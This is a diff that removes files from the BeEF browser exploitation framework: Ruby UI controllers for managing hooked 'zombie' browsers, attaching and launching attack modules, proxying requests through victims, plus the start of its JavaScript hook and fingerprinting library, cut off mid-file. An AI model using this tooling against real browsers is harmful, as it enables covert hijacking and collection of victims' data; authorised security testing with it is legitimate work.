'date' => log.date.to_s,
'event' => log.event.to_s,
'type' => log.type.to_s
}
end
# format output
output = {'success' => 'true', 'count' => count, 'logs' => logs_json}.to_json if not logs_json.empty?
output
end
end
end
end

View File

@@ -1,580 +0,0 @@
module BeEF
module UI
#
#
#
class Modules < BeEF::HttpController
BD = BeEF::Models::BrowserDetails
def initialize
super({
'paths' => {
'/select/commandmodules/all.json' => method(:select_all_command_modules),
'/select/commandmodules/tree.json' => method(:select_command_modules_tree),
'/select/commandmodule.json' => method(:select_command_module),
'/select/command.json' => method(:select_command),
'/select/command_results.json' => method(:select_command_results),
'/select/zombie_summary.json' => method(:select_zombie_summary),
'/commandmodule/commands.json' => method(:select_command_module_commands),
'/commandmodule/new' => method(:attach_command_module),
'/commandmodule/dynamicnew' => method(:attach_dynamic_command_module),
'/commandmodule/reexecute' => method(:reexecute_command_module)
}
})
@session = BeEF::UI::Session.instance
end
# Returns a JSON array containing the summary for a selected zombie.
def select_zombie_summary
# get the zombie
zombie_session = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
zombie = BeEF::Models::Zombie.first(:session => zombie_session)
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
# init the summary grid
summary_grid_hash = {
'success' => 'true',
'results' => []
}
# set and add the return values for the page title
page_title = BD.get(zombie_session, 'PageTitle')
if not page_title.nil?
encoded_page_title = CGI.escapeHTML(page_title)
encoded_page_hash = { 'Page Title' => encoded_page_title }
page_name_row = {
'category' => 'Browser Hook Initialisation',
'data' => encoded_page_hash,
'from' => 'Initialisation'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the return values for the host name
host_name = BD.get(zombie_session, 'HostName')
if not host_name.nil?
encoded_host_name = CGI.escapeHTML(host_name)
encoded_host_name_hash = { 'Host Name' => encoded_host_name }
page_name_row = {
'category' => 'Browser Hook Initialisation',
'data' => encoded_host_name_hash,
'from' => 'Initialisation'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the return values for the os name
os_name = BD.get(zombie_session, 'OsName')
if not host_name.nil?
encoded_os_name = CGI.escapeHTML(os_name)
encoded_os_name_hash = { 'OS Name' => encoded_os_name }
page_name_row = {
'category' => 'Browser Hook Initialisation',
'data' => encoded_os_name_hash,
'from' => 'Initialisation'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the return values for the browser name
browser_name = BD.get(zombie_session, 'BrowserName')
if not browser_name.nil?
friendly_browser_name = BeEF::Constants::Browsers.friendly_name(browser_name)
browser_name_hash = { 'Browser Name' => friendly_browser_name }
browser_name_row = {
'category' => 'Browser Hook Initialisation',
'data' => browser_name_hash,
'from' => 'Initialisation'
}
summary_grid_hash['results'].push(browser_name_row) # add the row
end
# set and add the return values for the browser version
browser_version = BD.get(zombie_session, 'BrowserVersion')
if not browser_version.nil?
encoded_browser_version = CGI.escapeHTML(browser_version)
browser_version_hash = { 'Browser Version' => encoded_browser_version }
browser_version_row = {
'category' => 'Browser Hook Initialisation',
'data' => browser_version_hash,
'from' => 'Initialisation'
}
summary_grid_hash['results'].push(browser_version_row) # add the row
end
# set and add the list of plugins installed in the browser
browser_plugins = BD.get(zombie_session, 'BrowserPlugins')
if not browser_plugins.nil? and not browser_plugins.empty?
encoded_browser_plugins = CGI.escapeHTML(browser_plugins)
encoded_browser_plugins_hash = { 'Browser Plugins' => encoded_browser_plugins }
page_name_row = {
'category' => 'Browser Hook Initialisation',
'data' => encoded_browser_plugins_hash,
'from' => 'Initialisation'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the internal ip address
internal_ip = BD.get(zombie_session, 'InternalIP')
if not internal_ip.nil?
encoded_internal_ip = CGI.escapeHTML(internal_ip)
encoded_internal_ip_hash = { 'Internal IP' => encoded_internal_ip }
page_name_row = {
'category' => 'Browser Hook Initialisation',
'data' => encoded_internal_ip_hash,
'from' => 'Initialisation'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the internal hostname
internal_hostname = BD.get(zombie_session, 'InternalHostname')
if not internal_hostname.nil?
encoded_internal_hostname = CGI.escapeHTML(internal_hostname)
encoded_internal_hostname_hash = { 'Internal Hostname' => encoded_internal_hostname }
page_name_row = {
'category' => 'Browser Hook Initialisation',
'data' => encoded_internal_hostname_hash,
'from' => 'Initialisation'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end
@body = summary_grid_hash.to_json
end
# Returns the list of all command_modules in a JSON format
def select_all_command_modules
@body = command_modules2json(Dir["#{$root_dir}/modules/commands/**/*.rb"])
end
# Returns the list of all command_modules for a TreePanel in the interface.
def select_command_modules_tree
command_modules_tree_array = []
command_modules_categories = []
# get an array of all the command modules in the database
db_command_modules = BeEF::Models::CommandModule.all(:order => [:id.asc])
raise WEBrick::HTTPStatus::BadRequest, "db_command_modules is nil" if db_command_modules.nil?
db_command_modules.each {|command_module_db_details|
# get the hooked browser session id and set it in the command module
hook_session_id = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "hook_session_id is nil" if hook_session_id.nil?
# create an instance of the comand module
command_module_name = File.basename command_module_db_details.path, '.rb' # get the name
command_module = BeEF::Modules::Commands.const_get(command_module_name.capitalize).new
command_module.session_id = hook_session_id
command_module.update_info(command_module_db_details.id) if(command_module_db_details.path.match(/^Dynamic/))
# set command module treeview display properties
command_module_friendly_name = command_module.info['Name'].downcase
command_module_category = command_module.info['Category'].downcase
# create url path and file for the command module icon
command_module_icon_path = BeEF::Constants::CommandModule::MODULE_TARGET_IMG_PATH # add icon path
case command_module.verify_target() # select the correct icon for the command module
when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING
command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING_IMG
command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_NOT_WORKING
when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY
command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY_IMG
command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_USER_NOTIFY
when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING
command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING_IMG
command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_WORKING
when BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN
command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN_IMG
command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN
else
command_module_icon_path += BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN_IMG
command_module_status = BeEF::Constants::CommandModule::MODULE_TARGET_VERIFIED_UNKNOWN
end
# construct the category branch if it doesn't exist for the command module tree
if not command_modules_categories.include? command_module_category
command_modules_categories.push(command_module_category) # flag that the categor has been added
command_modules_tree_array.push({ # add the branch structure
'text' => command_module_category,
'cls' => 'folder',
'children' => []
})
end
# construct leaf node for the command module tree
leaf_node = {
'text' => command_module_friendly_name,
'leaf' => true,
'icon' => command_module_icon_path,
'status' => command_module_status,
'id' => command_module_db_details.id
}
# add the node to the branch in the command module tree
command_modules_tree_array.each {|x|
if x['text'].eql? command_module_category
x['children'].push( leaf_node )
break
end
}
}
# sort the parent array nodes
command_modules_tree_array.sort! {|a,b| a['text'] <=> b['text']}
# sort the children nodes by status then alpha
command_modules_tree_array.each {|x|
x['children'] = x['children'].sort_by {|a| [a['status'], a['text']]}
}
# append the number of command modules so the branch name results in: "<category name> (num)"
command_modules_tree_array.each {|command_module_branch|
num_of_command_modules = command_module_branch['children'].length
command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
}
# return a JSON array of hashes
@body = command_modules_tree_array.to_json
end
# Returns the absolute path of the rb file mapped to the id in the database
def get_command_module_path(command_module_id)
# get command_module from database
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
command_module = BeEF::Models::CommandModule.first(:id => command_module_id)
raise WEBrick::HTTPStatus::BadRequest, "Invalid command_module id" if command_module.nil?
# Dynamic modules won't have a real path
return command_module.path if (command_module.path.match(/^Dynamic/))
# construct command_module path
absolute_command_module_path = $root_dir+File::SEPARATOR+command_module.path
raise WEBrick::HTTPStatus::BadRequest, "command_module file does not exist" if not File.exists?(absolute_command_module_path)
absolute_command_module_path
end
# Returns the inputs definition of an command_module.
def select_command_module
# get command_module id
command_module_id = @params['command_module_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "command_module_id is nil" if command_module_id.nil?
# get the command_module path
absolute_command_module_path = get_command_module_path(command_module_id)
# check if the request relates to a dynamic module
if(absolute_command_module_path.match(/^Dynamic/))
# get command_module id
payload_name = @params['payload_name'] || nil
if not payload_name.nil?
@body = dynamic_payload2json(command_module_id, payload_name)
else
@body = dynamic_modules2json(command_module_id);
end
else
@body = command_modules2json([absolute_command_module_path]);
end
end
# Returns the list of commands for an command_module
def select_command_module_commands
commands = []
i=0
# get params
zombie_session = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
command_module_id = @params['command_module_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
# get the browser id
zombie = Z.first(:session => zombie_session)
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
zombie_id = zombie.id
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil?
C.all(:command_module_id => command_module_id, :zombie_id => zombie_id).each do |command|
commands.push({
'id' => i,
'object_id' => command.id,
'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s,
'label' => command.label
})
i+=1
end
@body = {
'success' => 'true',
'commands' => commands}.to_json
end
# Attaches an command_module to a zombie.
def attach_command_module
definition = {}
# get params
zombie_session = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_session.nil?
command_module_id = @params['command_module_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
@params.keys.each {|param|
raise WEBrick::HTTPStatus::BadRequest, "invalid key param string" if not Filter.has_valid_param_chars?(param)
raise WEBrick::HTTPStatus::BadRequest, "first char is num" if Filter.first_char_is_num?(param)
definition[param[4..-1]] = params[param]
oc = BeEF::Models::OptionCache.first_or_create(:name => param[4..-1])
oc.value = params[param]
oc.save
}
zombie = Z.first(:session => zombie_session)
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
zombie_id = zombie.id
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil?
C.new( :data => definition.to_json,
:zombie_id => zombie_id,
:command_module_id => command_module_id,
:creationdate => Time.new.to_i
).save
@body = '{success : true}'
end
# Re-execute an command_module to a zombie.
def reexecute_command_module
# get params
command_id = @params['command_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil?
command = BeEF::Models::Command.first(:id => command_id.to_i) || nil
raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil?
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
command.has_run = false
command.save
@body = '{success : true}'
end
def attach_dynamic_command_module
definition = {}
# get params
zombie_session = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_session.nil?
command_module_id = @params['command_module_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
@params.keys.each {|param|
raise WEBrick::HTTPStatus::BadRequest, "invalid key param string" if not Filter.has_valid_param_chars?(param)
raise WEBrick::HTTPStatus::BadRequest, "first char is num" if Filter.first_char_is_num?(param)
definition[param[4..-1]] = params[param]
oc = BeEF::Models::OptionCache.first_or_create(:name => param[4..-1])
oc.value = params[param]
oc.save
}
zombie = Z.first(:session => zombie_session)
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
zombie_id = zombie.id
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil?
mod = BeEF::Models::CommandModule.first(:id => command_module_id)
# if the module id is not in the database return false
return {'success' => 'false'}.to_json if(not mod)
# the path will equal Dynamic/<type> and this will get just the type
dynamic_type = mod.path.split("/").last
e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new
e.update_info(command_module_id)
e.update_data()
ret = e.launch_exploit(definition)
return {'success' => 'false'}.to_json if ret['result'] != 'success'
basedef = {}
basedef['sploit_url'] = ret['uri']
C.new( :data => basedef.to_json,
:zombie_id => zombie_id,
:command_module_id => command_module_id,
:creationdate => Time.new.to_i
).save
@body = '{success : true}'
end
# Returns the results of a command
def select_command_results
results = []
# get params
command_id = @params['command_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil?
command = BeEF::Models::Command.first(:id => command_id.to_i) || nil
raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil?
# get command_module
command_module = BeEF::Models::CommandModule.first(:id => command.command_module_id)
raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil?
command_module_name = File.basename command_module.path, '.rb'
resultsdb = BeEF::Models::Result.all(:command_id => command_id)
raise WEBrick::HTTPStatus::BadRequest, "Command id result is nil" if resultsdb.nil?
resultsdb.each{ |result| results.push({'date' => result.date, 'data' => JSON.parse(result.data)}) }
@body = {
'success' => 'true',
'command_module_name' => command_module_name,
'command_module_id' => command_module.id,
'results' => results}.to_json
end
# Returns the definition of a command.
# In other words it returns the command that was used to command_module a zombie.
def select_command
# get params
command_id = @params['command_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil?
command = BeEF::Models::Command.first(:id => command_id.to_i) || nil
raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil?
command_module = BeEF::Models::CommandModule.first(:id => command.command_module_id)
raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil?
command_module_name = File.basename command_module.path, '.rb'
e = BeEF::Modules::Commands.const_get(command_module_name.capitalize).new
@body = {
'success' => 'true',
'command_module_name' => command_module_name,
'command_module_id' => command_module.id,
'data' => JSON.parse(command.data),
'definition' => JSON.parse(e.to_json)
}.to_json
end
private
# Takes a list of command_modules and returns them as a JSON array
def command_modules2json(command_modules)
command_modules_json = {}
i = 1
command_modules.each do |command_module|
next if not File.exists?(command_module)
e = File.basename command_module, '.rb'
e = BeEF::Modules::Commands.const_get(e.capitalize).new
command_modules_json[i] = JSON.parse(e.to_json)
i += 1
end
if not command_modules_json.empty?
return {'success' => 'true', 'command_modules' => command_modules_json}.to_json
else
return {'success' => 'false'}.to_json
end
end
# return the input requred for the module in JSON format
def dynamic_modules2json(id)
command_modules_json = {}
mod = BeEF::Models::CommandModule.first(:id => id)
# if the module id is not in the database return false
return {'success' => 'false'}.to_json if(not mod)
# the path will equal Dynamic/<type> and this will get just the type
dynamic_type = mod.path.split("/").last
e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new
e.update_info(mod.id)
e.update_data()
command_modules_json[1] = JSON.parse(e.to_json)
if not command_modules_json.empty?
return {'success' => 'true', 'dynamic' => 'true', 'command_modules' => command_modules_json}.to_json
else
return {'success' => 'false'}.to_json
end
end
def dynamic_payload2json(id, payload_name)
command_modules_json = {}
dynamic_command_module = BeEF::Models::CommandModule.first(:id => id)
raise WEBrick::HTTPStatus::BadRequest, "Module does not exists" if dynamic_command_module.nil?
# the path will equal Dynamic/<type> and this will get just the type
dynamic_type = dynamic_command_module.path.split("/").last
# get payload options in JSON
e = BeEF::Modules::Commands.const_get(dynamic_type.capitalize).new
payload_options_json = []
payload_options_json[1] = e.get_payload_options(payload_name)
raise WEBrick::HTTPStatus::BadRequest, "Payload JSON generation error" if payload_options_json.empty?
return {'success' => 'true', 'command_modules' => payload_options_json}.to_json
end
end
end
end

View File

@@ -1,48 +0,0 @@
<html>
<head>
<title>BeEF Control Panel</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<%= script_tag 'ext-base.js' %>
<%= script_tag 'ext-all.js' %>
<%= script_tag 'ext-beef.js' %>
<%= script_tag 'ux/TabCloseMenu.js' %>
<%= script_tag 'ux/StatusBar.js' %>
<%= script_tag 'ux/PagingStore.js' %>
<%= script_tag 'ui/panel/common.js' %>
<%= script_tag 'ui/panel/DistributedEngine.js' %>
<%= script_tag 'ui/panel/PanelStatusBar.js' %>
<%= script_tag 'ui/panel/tabs/ZombieTabDetails.js' %>
<%= script_tag 'ui/panel/tabs/ZombieTabLogs.js' %>
<%= script_tag 'ui/panel/tabs/ZombieTabCommands.js' %>
<%= script_tag 'ui/panel/tabs/ZombieTabRequester.js' %>
<%= script_tag 'ui/panel/PanelViewer.js' %>
<%= script_tag 'ui/panel/DataGrid.js' %>
<%= script_tag 'ui/panel/MainPanel.js' %>
<%= script_tag 'ui/panel/ZombieTab.js' %>
<%= script_tag 'ui/panel/ZombieTabs.js' %>
<%= script_tag 'ui/panel/zombiesTreeList.js' %>
<%= script_tag 'ui/panel/ZombiesMgr.js' %>
<%= script_tag 'ui/panel/Logout.js' %>
<%= script_tag 'ui/panel/WelcomeTab.js' %>
<%= stylesheet_tag 'ext-all.css' %>
<%= stylesheet_tag 'base.css' %>
</head>
<body>
<%= nonce_tag %>
<div id="header">
<div class="right-menu">
<a id='do-logout-menu' href='#'>Logout</a>
</div>
</div>
</body>
</html>

View File

@@ -1,87 +0,0 @@
module BeEF
module UI
#
#
#
class Panel < BeEF::HttpController
def initialize
super({
'paths' => {
'/' => method(:index),
'/hooked-browser-tree-update.json' => method(:hooked_browser_tree_update)
}
})
end
# default index page
def index; end
# return a JSON object contains all the updates for the hooked browser trees
def hooked_browser_tree_update
# retrieve the hbs that are online
hooked_browsers_online = zombies2json_simple(BeEF::Models::Zombie.all(:lastseen.gte => (Time.new.to_i - 30)))
# retrieve the hbs that are offline
hooked_browsers_offline = zombies2json_simple(BeEF::Models::Zombie.all(:lastseen.lt => (Time.new.to_i - 30)))
# retrieve the distributed engine rules that are enabled
distributed_engine_rules = distributed_engine_rules_2_json_simple(BeEF::Models::DistributedEngineRules.all(:enabled => true))
# hash that gets populated with all the information for the hb trees
ret = {
'success' => true,
# the list of hb
'hooked-browsers' => {
'online' => hooked_browsers_online,
'offline' => hooked_browsers_offline
},
# the rules for the distributed engine
'ditributed-engine-rules' => distributed_engine_rules
}
@body = ret.to_json
end
# Takes a list distributed engine rules and format the results into JSON
def distributed_engine_rules_2_json_simple(rules)
end
# Takes a list of zombies and format the results in a JSON array.
def zombies2json_simple(zombies)
zombies_hash = {}
i = 0
zombies.each do |zombie|
# create hash of zombie details
zombies_hash[i] = (get_simple_hooked_browser_hash(zombie))
i+=1
end
zombies_hash
end
# create a hash of simple hooked browser details
def get_simple_hooked_browser_hash(hooked_browser)
browser_icon = BeEF::Models::BrowserDetails.browser_icon(hooked_browser.session)
os_icon = BeEF::Models::BrowserDetails.os_icon(hooked_browser.session)
domain = BeEF::Models::BrowserDetails.get(hooked_browser.session, 'HostName')
return {
'session' => hooked_browser.session,
'ip' => hooked_browser.ip,
'domain' => domain,
'browser_icon' => browser_icon,
'os_icon' => os_icon
}
end
end
end
end

View File

@@ -1,145 +0,0 @@
module BeEF
module UI
#
# HTTP Controller for the Requester component of BeEF.
#
class Requester < BeEF::HttpController
# Variable representing the Http DB model.
H = BeEF::Models::Http
def initialize
super({
'paths' => {
'/send' => method(:send_request),
'/history.json' => method(:get_zombie_history),
'/response.json' => method(:get_zombie_response)
}
})
end
# Send a new http request to the hooked browser.
def send_request
# validate that the hooked browser's session has been sent
zombie_session = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Invalid session id" if not Filter.is_valid_hook_session_id?(zombie_session)
# validate that the hooked browser exists in the db
zombie = Z.first(:session => zombie_session) || nil
raise WEBrick::HTTPStatus::BadRequest, "Invalid hooked browser session" if zombie.nil?
# validate that the raw request has been sent
raw_request = @params['raw_request'] || nil
raise WEBrick::HTTPStatus::BadRequest, "raw_request is nil" if raw_request.nil?
raise WEBrick::HTTPStatus::BadRequest, "raw_request contains non-printable chars" if not Filter.has_non_printable_char?(raw_request)
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
# validate that the raw request is correct and can be used
req_parts = raw_request.split(/ |\n/) # break up the request
verb = req_parts[0]
raise 'Only GET or POST requests are supported' if not Filter.is_valid_verb?(verb) #check verb
uri = req_parts[1]
raise 'Invalid URI' if not Filter.is_valid_url?(uri) #check uri
version = req_parts[2]
raise 'Invalid HTTP version' if not Filter.is_valid_http_version?(version) # check http version - HTTP/1.0
host_str = req_parts[3]
raise 'Invalid HTTP version' if not Filter.is_valid_host_str?(host_str) # check host string - Host:
host = req_parts[4]
host_parts = host.split(/:/)
hostname = host_parts[0]
raise 'Invalid hostname' if not Filter.is_valid_hostname?(hostname) # check the target hostname
hostport = host_parts[1] || nil
if !hostport.nil?
raise 'Invalid hostport' if not Filter.nums_only?(hostport) # check the target hostport
end
# (re)build the request
green_request = StringIO.new(verb + " " + uri + " " + version + "\n" + host_str + " " + host)
request = WEBrick::HTTPRequest.new(WEBrick::Config::HTTP)
request.parse(green_request)
# Saves the new HTTP request.
http = H.new(
:request => raw_request,
:method => request.request_method,
:domain => request.host,
:path => request.unparsed_uri,
:date => Time.now,
:zombie_id => zombie.id
)
if request.request_method.eql? 'POST'
http.content_length = request.content_length
end
http.save
@body = '{success : true}'
end
# Returns a JSON object containing the history of requests sent to the zombie.
def get_zombie_history
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
# validate that the hooked browser's session has been sent
zombie_session = @params['zombie_session'] || nil
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
# validate that the hooked browser exists in the db
zombie = Z.first(:session => zombie_session) || nil
raise WEBrick::HTTPStatus::BadRequest, "Invalid hooked browser session" if zombie.nil?
history = []
H.all(:zombie_id => zombie.id).each{|http|
history << {
'id' => http.id,
'domain' => http.domain,
'path' => http.path,
'has_ran' => http.has_ran,
'date' => http.date
}
}
@body = {'success' => 'true', 'history' => history}.to_json
end
# Returns a JSON objecting containing the response of a request.
def get_zombie_response
# validate nonce
nonce = @params['nonce'] || nil
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
# validate the http id
http_id = @params['http_id'] || nil
raise WEBrick::HTTPStatus::BadRequest, "http_id is nil" if http_id.nil?
# validate that the http object exist in the dabatase
http_db = H.first(:id => http_id) || nil
raise WEBrick::HTTPStatus::BadRequest, "http object could not be found in the database" if http_db.nil?
res = {
'id' => http_db.id,
'request' => http_db.request,
'response' => http_db.response,
'domain' => http_db.domain,
'path' => http_db.path,
'date' => http_db.date,
'has_ran' => http_db.has_ran
}
@body = {'success' => 'true', 'result' => res}.to_json
end
end
end
end

View File

@@ -1,113 +0,0 @@
module BeEF
module UI
#
# The session for BeEF UI.
#
class Session
include Singleton
attr_reader :ip, :id, :nonce, :auth_timestamp
def initialize
set_logged_out
@auth_timestamp = Time.new
end
#
# set the session logged in
#
def set_logged_in(ip)
@id = BeEF::Crypto::secure_token
@nonce = BeEF::Crypto::secure_token
@ip = ip
end
#
# set the session logged out
#
def set_logged_out
@id = nil
@nonce = nil
@ip = nil
end
#
# set teh auth_timestamp
#
def set_auth_timestamp(time)
@auth_timestamp = time
end
#
# return the session id
#
def get_id
@id
end
#
# return the nonce
#
def get_nonce
@nonce
end
#
# return the auth_timestamp
#
def get_auth_timestamp
@auth_timestamp
end
#
# Check if nonce valid
#
def valid_nonce?(request)
# check if a valid session
return false if not valid_session?(request)
return false if @nonce.nil?
return false if not request.request_method.eql? "POST"
# get nonce from request
request_nonce = request.query['nonce']
return false if request_nonce.nil?
# verify nonce
request_nonce.eql? @nonce
end
#
# Check if a session valid
#
def valid_session?(request)
# check if a valid session exists
return false if @id.nil?
return false if @ip.nil?
# check ip address matches
return false if not @ip.to_s.eql? request.peeraddr[3]
# get session cookie name from config
config = BeEF::Configuration.instance
session_cookie_name = config.get('session_cookie_name')
# check session id matches
request.cookies.each{|cookie|
c = WEBrick::Cookie.parse_set_cookie(cookie.to_s)
return true if (c.name.to_s.eql? session_cookie_name) and (c.value.eql? @id)
}
# not a valid session
false
end
end
end
end

View File

@@ -1,46 +0,0 @@
/*!
* BeEF JS Library <%= @beef_version %>
* http://beef.googlecode.com/
*/
$j = jQuery.noConflict();
//<%= @beef_hook_session_name %>='<%= @beef_hook_session_id %>';
if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
var BeefJS = {
version: '<%= @beef_version %>',
// This get set to true during window.onload(). It's a useful hack when messing with document.write().
pageIsLoaded: false,
// An array containing functions to be executed by Beef.
commands: new Array(),
// An array containing all the BeEF JS components.
components: new Array(),
/**
* Adds a function to execute.
* @param: {Function} the function to execute.
*/
execute: function(fn) {
this.commands.push(fn);
},
/**
* Registers a component in BeEF JS.
* @params: {String} the component.
*
* Components are very important to register so the framework does not
* send them back over and over again.
*/
regCmp: function(component) {
this.components.push(component);
}
};
window.beef = BeefJS;
}

View File

@@ -1,688 +0,0 @@
/**
* @literal object: beef.browser
*
* Basic browser functions.
*/
beef.browser = {
/**
* Returns the user agent that the browser is claiming to be.
* @example: beef.browser.getBrowserReportedName()
*/
getBrowserReportedName: function() {
return navigator.userAgent;
},
/**
* Returns true if IE6.
* @example: beef.browser.isIE6()
*/
isIE6: function() {
return !window.XMLHttpRequest && !window.globalStorage;
},
/**
* Returns true if IE7.
* @example: beef.browser.isIE7()
*/
isIE7: function() {
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !window.getComputedStyle && !window.globalStorage;
},
/**
* Returns true if IE8.
* @example: beef.browser.isIE8()
*/
isIE8: function() {
$j("body").append('<!--[if IE 8]> <div id="beefiecheck" class="ie ie8"></div> <![endif]-->');
return ($j('#beefiecheck').hasClass('ie8'))?true:false;
},
/**
* Returns true if IE9.
* @example: beef.browser.isIE9()
*/
isIE9: function() {
$j("body").append('<!--[if IE 9]> <div id="beefiecheck" class="ie ie9"></div> <![endif]-->');
return ($j('#beefiecheck').hasClass('ie9'))?true:false;
},
/**
* Returns true if IE.
* @example: beef.browser.isIE()
*/
isIE: function() {
return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9();
},
/**
* Returns true if FF2.
* @example: beef.browser.isFF2()
*/
isFF2: function() {
return !!window.globalStorage && !window.postMessage;
},
/**
* Returns true if FF3.
* @example: beef.browser.isFF3()
*/
isFF3: function() {
return !!window.globalStorage && !!window.postMessage && !JSON.parse;
},
/**
* Returns true if FF35.
* @example: beef.browser.isFF35()
*/
isFF35: function() {
return !!window.globalStorage && !!JSON.parse && !window.FileReader;
},
/**
* Returns true if FF36.
* @example: beef.browser.isFF36()
*/
isFF36: function() {
return !!window.globalStorage && !!window.FileReader && !window.multitouchData;
},
/**
* Returns true if FF4.
* @example: beef.browser.isFF4()
*/
isFF4: function() {
return !!window.globalStorage && !!window.history.replaceState;
},
/**
* Returns true if FF.
* @example: beef.browser.isFF()
*/
isFF: function() {
return this.isFF2() || this.isFF3() || this.isFF35() || this.isFF36() || this.isFF4();
},
/**
* Returns true if Safari.
* @example: beef.browser.isS()
*/
isS: function() {
return !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome;
},
/**
* Returns true if Chrome 5.
* @example: beef.browser.isC5()
*/
isC5: function() {
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==5)?true:false);
},
/**
* Returns true if Chrome 6.
* @example: beef.browser.isC6()
*/
isC6: function() {
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==6)?true:false);
},
/**
* Returns true if Chrome 7.
* @example: beef.browser.isC7()
*/
isC7: function() {
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==7)?true:false);
},
/**
* Returns true if Chrome 8.
* @example: beef.browser.isC8()
*/
isC8: function() {
return (!!window.chrome && !!window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==8)?true:false);
},
/**
* Returns true if Chrome 9.
